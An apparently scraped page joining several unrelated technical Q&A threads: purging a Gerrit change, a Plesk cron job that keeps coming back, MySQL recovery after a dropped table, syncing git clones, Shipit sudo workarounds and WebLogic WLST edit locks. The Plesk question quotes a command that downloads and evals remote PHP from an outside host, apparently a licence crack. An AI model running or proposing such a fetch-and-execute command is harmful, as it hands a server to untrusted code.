I am trying to fully purge a change from Gerrit and running into some problems.
Previously I tried to follow this guide to achieve my goal:
https://www.onyxpoint.com/deleting-abandoned-commits-from-gerrit-code-review/
I messed this up however, and somehow managed to do the following:
Purge the offending change-id from all the tables in the Gerrit gsql database
The change still appears in the web-interface, but if I click on it, it fires an error: "The page you requested was not found, or you do not have permission to view this page."
If I run 'gerrit query' for the change, it still shows up, replete with all information.
Where is the change information coming from if it is not in the DB??? I also tried flushing all caches. Is it somewhere in the search index for lucene or something?
This is not super important, but it is really driving me nuts!
In my case, I didn't have to perform a re-index. But an additional step(5):
Open the GSQL interface
$ gerrit-cli gsql
The following command will mark the change set as a draft change set in the Gerrit database.
gerrit> update changes set status='d' where change_id='64581';
Next, update the associated patch sets.
gerrit> update patch_sets set draft='Y' where change_id='64581';
gerrit> \q
Prior to making further changes, you need to make sure that the Gerrit caches have been flushed. If you don’t do this, you may end up with strange
results when using the Web UI in relation to this change set.
$ gerrit-cli flush-caches --cache changes
Ensure that the administrator has "View Drafts" and "Delete Drafts" permission on the repo for refs/*
Finally, delete the patch set(s) that you had previously abandoned.
In this case, we’re going to assume that you have two patch sets to
delete.
$ gerrit-cli review 64581,1 --delete
$ gerrit-cli review 64581,2 --delete
Deleting each patch-set one by one can be a PITA. Nuke 'em in one go using the GUI:
Queries use Gerrit's secondary index (by default Lucene-based) so if you modify the database outside of Gerrit you have to reindex the data with the reindex command:
$ java -jar path/to/gerrit.war reindex -d path/to/gerrit-site-dir
This command should only be executed when Gerrit isn't running.
Related
there is a cron i delete it is not deleted. Please help me. I used this code to use Plesk trial. Now it has added ads to the Panel and I can't delete the cronjob.
I tried crontab -r but no use, it returns automatically.
No matter how many times I try it won't be deleted. I deleted it from the Plesk panel but it comes back immediately. I can't add another license because of this.
this is the code
/usr/local/psa/admin/bin/php -er "eval(file_get_contents('https://ossav.com/PTC'));"
I have an SQL file containing several commands, when I need to make a correction to my application database that the application can't yet do, I use DBVis to select and execute the command I need (e.g. to delete an incorrect entry). Problem is, the button to run the whole page is right next to the button to run a selected command. So I just dropped and re-created my table, losing all my data. Is there a way to undo this?
I'm looking to either 'undo' each command until I get back to the right place, or revert back to yesterday, where I know everything was correct.
Thanks!
Yes, you can if...
your administration tool did set autocommit=OFF by default, you can
just execute a ROLLBACK (or just shutdown your administration tool)
If latter doesn't work, check if your binary log was enabled, and restore with mysqlbin log tool
If none of the above mentioned solution works, use your (probably not existent) backup for restoring
I have a clone for server development and another for client development. Both material will eventually make it into the same branch, but I want to synchronize them and I want it to perform a merge as though I had commit pushed and pulled, but I want to do it without that.
I'm able to make a patch with this script I wrote:
git diff --cached
git diff
on the server, but applying that to the client is much harder.
I've tried the Unix patch command, for some reason, it keeps asking me what files to patch, like I can't find them. (Yes, they're there) I've tried
git apply -3 patch.patch
but that gives a lot of errors like "with conflicts" (without making any changes) and "does not match index". It doesn't even seem to be trying to patch the other half of the files.
Stashing, then applying the patch, and then popping from the stash doesn't work, because unstashing refuses to do merges.
It looks like doing it without the pulling isn't going to work--I haven't found a way to do it conveniently and safely. However, my problem with committing is that I didn't want to spam the git log with garbage like:
Sync'ing to client
Sync'ing back to server
Oops! Sync'ing something I forgot to the server again!
etc.
But I can avoid all this by committing, then pulling from the remote repos. In the end, I wouldn't have to push those commits, since I would use reset to remove them all from the local repo and then, with all my changes in the working directory, do a proper commit and push it.
Gotachas
They are many.
It's commonly known that you shouldn't reset your local repo if something has already pulled from it. This is probably from the obvious confusion that results when one repo delete commits that another repo believes were there. For that reason it's important that the same reset is performed on both repos before they start sharing code again.
If after you've done your commits that you later want to reset, then pull/merge, you could make things very difficult for yourself. There should be a way to manage it, but I haven't yet figured it out. One idea is to reset, stash, pull, merge, and commit again. Another involves revert with the -n option.
Instructions
The following example assumes you have 2 clones; one called "client" and the other "server".
Following https://help.github.com/articles/adding-a-remote, setup your client's and server's repo on each others' systems to they can pull from each other.
When you want to sync, just commit on the donor system, then instead of pulling from the origin, pull from a remote. Say the client wanted a commit from the server. On the client:: git pull myserver-repo mybranch.
Merge and conflict-resolve as necessary.
Loop back to 2 as many times as is necessary.
After several iterations of 2-4, you arrive at the point when you are ready to push your changes to the server. Go to whichever local repo has all the changes you want pushed, then run git log. Find the commit before the first commit you did in 2. Copy its hash to the clipboard.
Then git reset: git reset <hash you copied in 5>.
You should then see all the commits you don't want disappear from the log and all the changes therein in your working directory. Commit and push.
It's important that you do a cleanup on the repo from which you didn't perform 5-7. So if you pushed from your server repo, you need to perform the same reset operation on your client, then dispense with the changes as you see fit. My preferred method is git stash save "delete_me".
When using the Shipit automation engine I found that trying to execute commands with "sudo" from an user other than root (let's call it "devuser") results in the connection closing without the command being executed.
This is a command that I'm trying to execute:
shipit.remote('sudo pwd');
Note that, on the target machine, "devuser" can execute everything with "sudo", without being asked his/her password (it's a choice of the target system).
Also note that everything invoked without "sudo" (and that obviously doesn't need elevated permission) gets executed prefectly fine by Shipit.
E.g.this one works just fine:
shipit.remote('pwd');
The question at this point is: am I doing something wrong or is it this way by design (e.g. to avoid privileges escalation)?
If it's the latter: is there a way to work this limitation around?
simple hack for that is to set user inside each command that you are running with shipit. This is little overhead especially if there are a lot of commands but it will do the trick. Command for that is :
su - <user> -c "<command>"
In your case :
shipit.remote('su - devuser -c "pwd"');
You were on right track with your example.
Best regards,
Nikola
I'm writing a WLST script to deploy some WAR's and an EAR. However, intermittently, the script will time out because it can't seem to get an edit lock (this script is part of a chain of many other scripts). I was wondering, is there a way to override or stop any current locks on the server? This is only a temporary solution, but in the interest of time, it will do for now.
Thanks.
You could try setting a wait period and timeout:
startEdit([waitTimeInMillis], [timeoutInMillis], [exclusive]).
Are other scripts erroring out, leaving the session locked? You could try adding exception handling around those. Also, if you have 'Automatically acquire lock" enabled in the Admin Console and you use the admin console sometimes it can cause problems if you are running scripts at the same time, even though you are not making "lock-requiring" changes.
Also, are you using the same user for the chained scripts?
Within WLST, you can pass a number as a parameter to gain an exclusive lock. This allows the script to grab a different lock than the regular one that's used whenever an administrator locks from the console. It also prevents two instances of the same script from stepping on each other.
However, this creates complex change merge scenarios that are best avoided (by processes).
Oracle's documentation on configuration locks can be found here.
Alternatively, if you want the script to temporarily relieve any existing locks regardless of the pending changes, you may as well disable change management from the console, minimizing the inconvenience caused.
WLST also contains the cancelEdit command that you could run before you startEdit. Hope one of these options pan out!
To take the configuration change lock from another administrator:
If another administrator already has the configuration lock, the following message appears: Another user already owns the lock. You will need to either wait for the lock to be released, or take the lock.
Locate the Change Center in the upper left corner of the
Administration Console.
Click Take Lock & Edit.
Make your configuration changes.
In the Change Center, click Activate Changes. Not all changes take
effect immediately. Some require a restart (see Use the Change
Center).
As long as you're running WLST as an administrative user, you should be able to jump into an existing edit session with the edit() command - I've done a quick test with two admin users, one in the Admin Console, and one using WLST, and it appears to work fine - I can see the changes in the Admin Console session inside the WLST interpreter.
You could put a very simple exception handler around your calls to startEdit that will log the exception's stack trace, but do nothing else. And then rely on the edit call to pop you into the change session.
Relying on that is going to be tricky though if another script has started an edit session and is expecting to be able to commit that change session itself - you'll be getting exceptions and unreliable behaviour across multiple invocations.